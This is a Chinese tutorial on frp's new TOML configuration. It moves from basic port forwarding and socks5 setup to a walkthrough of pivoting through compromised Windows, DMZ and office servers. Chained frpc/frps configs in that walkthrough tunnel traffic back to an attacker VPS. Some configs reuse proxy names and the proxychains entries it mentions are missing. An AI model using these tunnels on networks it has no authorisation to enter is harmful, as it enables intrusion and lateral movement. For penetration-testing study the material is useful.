我们新式的frp已经完全取代了旧版的frp(指舍弃了ini配置)。是我错付了。
来看看新版都有点啥新活。
好好好,这样玩。现在主要是使用TOML文件进行配置。
配置文件校验
frps verify -c ./frps.toml
frpc verify -c ./frpc.toml
可以通过这样的命令来校验配置文件哪里存在问题。
|
端口转发
frps
bindPort = 7000 auth.method = "token" auth.token = "1234!@#$"
|
frpc
serverAddr = "x.x.x.x" serverPort = 7000 auth.method = "token" auth.token = "1234!@#$"
[[proxies]] name = "ssh" type = "tcp" localIP = "127.0.0.1" localPort = 22 remotePort = 6000
|
socks代理
frps
frpc
serverAddr = "x.x.x.x" serverPort = 7000
[[proxies]] name = "socks" type = "tcp" remotePort = 6000
[proxies.plugin] type = "socks5"
|
认证版
bindPort = 7000 auth.method = "token" auth.token = "1234!@#$"
|
serverAddr = "118.31.166.161" serverPort = 7000 auth.method = "token" auth.token = "1234!@#$"
[[proxies]] name = "socks" type = "tcp" remotePort = 6000
[proxies.plugin] type = "socks5"
|
一些区别,以前是通过[[proxies]]
这块来命名区别不同客户端(需要保证每个frpc的不同),现在是通过底下的name
来保证唯一性,只需要修改name即可。
客户端插件设置
[proxies.plugin]
type = "xxx" 选择代理类型可选的有unix_domain_socket 、 http_proxy 、 socks5 、 static_file 、 http2https 、 https2http 、 https2https 这些插件还可以有其他的一些参数,比如说设置账号密码。 https://gofrp.org/zh-cn/docs/reference/client-plugin/
|
多层内网代理
一级网络代理
假设我们已经获取到了Windows Server 2012的控制权,然后我们需要继续攻击Ubuntu 20.04(DMZ区)这台服务器,因为在内网了,只有win2012才可以访问到,所以需要挂一个frp代理。
- 使用VPS(192.168.2.x)作为FRP服务端,在VPS上执行以下命令
frps.toml的配置文件内容为
bindPort = 7000 bindAddr = "0.0.0.0"
|
- 使用win2012作为frp客户端,在win2012上执行
frpc.toml的文件内容为
serverAddr = "192.168.2.x" serverPort = 7000
[[proxies]] name = "socks" type = "tcp" remotePort = 1080
[proxies.plugin] type = "socks5"
|
直接在proxychains.conf
添加
二级网络代理
获得DMZ区域的FTP服务器的控制权之后,可以看到还有一个192.168.30.0/24
的办公区网络,需要继续渗透并且登录到服务器的远程桌面,可以使用FRP在DMZ区与办公区之间搭建一个二级网络的socks5代理,从而访问办公区的文件服务器
- 使用VPS(192.168.2.x)作为FRP服务端,在VPS上执行以下命令
frps.toml的配置文件内容为
bindPort = 7000 bindAddr = "0.0.0.0"
|
- 使用win2012作为frp客户端,在win2012上执行
frpc.toml的文件内容为,把本机的10808端口流量转发到1080端口
serverAddr = "192.168.2.x" serverPort = 7000
[[proxies]] name = "socks2" type = "tcp" localIP = "10.10.10.13" remotePort = 1080 localPort = 10808
[proxies.plugin] type = "socks5"
|
- 在win2012上启动一个frps
bindPort = 7000 bindAddr = "10.10.10.13"
|
- 在DMZ区的FTP服务器上启动frpc,连接到win2012的frps,并且在10808端口启动一个socks5代理服务
serverAddr = "10.10.10.13" serverPort = 7000
[[proxies]] name = "socks3" type = "tcp" remotePort = 10808
[proxies.plugin] type = "socks5"
|
直接在proxychains.conf
添加
可以看到,其实相对于一级网络代理来on说,就是win2012同时作为了frps和frpc,他负责连接到VPS,然后把FTP服务器的10808的端口流量(因为FTP服务器就是连接的10808端口),通过自己的1080端口转发到VPS上。
三级网络代理
入侵了办公区之后,发现还有一个网段为192.168.60.0/24
的核心区网络。使用FRP在DMZ区,办公区和核心区之间网络搭建一个socks5代理。
- 使用VPS(192.168.2.x)作为FRP服务端,在VPS上执行以下命令
frps.toml的配置文件内容为
bindPort = 7000 bindAddr = "0.0.0.0"
|
- 使用win2012作为frp客户端,在win2012上执行
frpc.toml的文件内容为
serverAddr = "192.168.2.x" serverPort = 7000
[[proxies]] name = "socks3" type = "tcp" localIP = "10.10.10.13" remotePort = 1080 localPort = 10808
[proxies.plugin] type = "socks5"
|
- 在win2012上启动一个frps
bindPort = 7000 bindAddr = "10.10.10.13"
|
- 在DMZ区的FTP服务器上启动frpc,连接到win2012的frps,同时将本地的10808端口转发到win2012的10808端口
serverAddr = "10.10.10.13" serverPort = 7000
[[proxies]] name = "socks3" type = "tcp" localIP = "192.168.30.40" localPort = 10809 remotePort = 10808
[proxies.plugin] type = "socks5"
|
- 在DMZ区FTP服务器上启动一个frps
bindPort = 7000 bindAddr = "192.168.30.40"
|
- 在办公区的文件服务器上启动frpc,连接到FTP服务器的Frps,并在10809端口启动socks5代理服务。
serverAddr = "192.168.30.40" serverPort = 7000
[[proxies]] name = "socks3" type = "tcp" remotePort = 10809
[proxies.plugin] type = "socks5"
|
直接在proxychains.conf
添加